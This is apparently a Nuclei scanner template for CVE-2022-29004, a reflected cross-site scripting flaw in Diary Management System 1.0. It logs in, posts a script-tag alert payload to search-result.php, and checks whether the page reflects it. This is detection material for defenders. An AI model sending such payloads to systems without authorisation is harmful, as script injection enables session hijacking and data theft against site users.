id: CVE-2022-29004

info:
  name: Diary Management System 1.0 - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    Diary Management System 1.0 contains a cross-site scripting vulnerability via the Name parameter in search-result.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/sudoninja-noob/CVE-2022-29004/blob/main/CVE-2022-29004.txt
    - https://phpgurukul.com/e-diary-management-system-using-php-and-mysql/
    - http://phpgurukul.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29004
    - https://github.com/manas3c/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29004
    cwe-id: CWE-79
    epss-score: 0.39704
    epss-percentile: 0.97374
    cpe: cpe:2.3:a:phpgurukul:e-diary_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpgurukul
    product: e-diary_management_system
  tags: cve2022,cve,xss,authenticated,edms,phpgurukul,vuln

http:
  - raw:
      - |
        POST /edms/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        logindetail={{username}}&userpassword={{password}}&login=
      - |
        POST /edms/search-result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        searchdata=<script>alert(document.domain);</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Serach Result Against "<script>alert(document.domain);</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100de07375c6fc62e33a0d85f1e57c47e2f39a17643c74d5ed4b5f52eede1f2b6ce022100d973b76568410cfd3c017be249ae10b7edf67c4e260771cbf7f75d603b947679:922c64590222798bb761d5b6d8e72950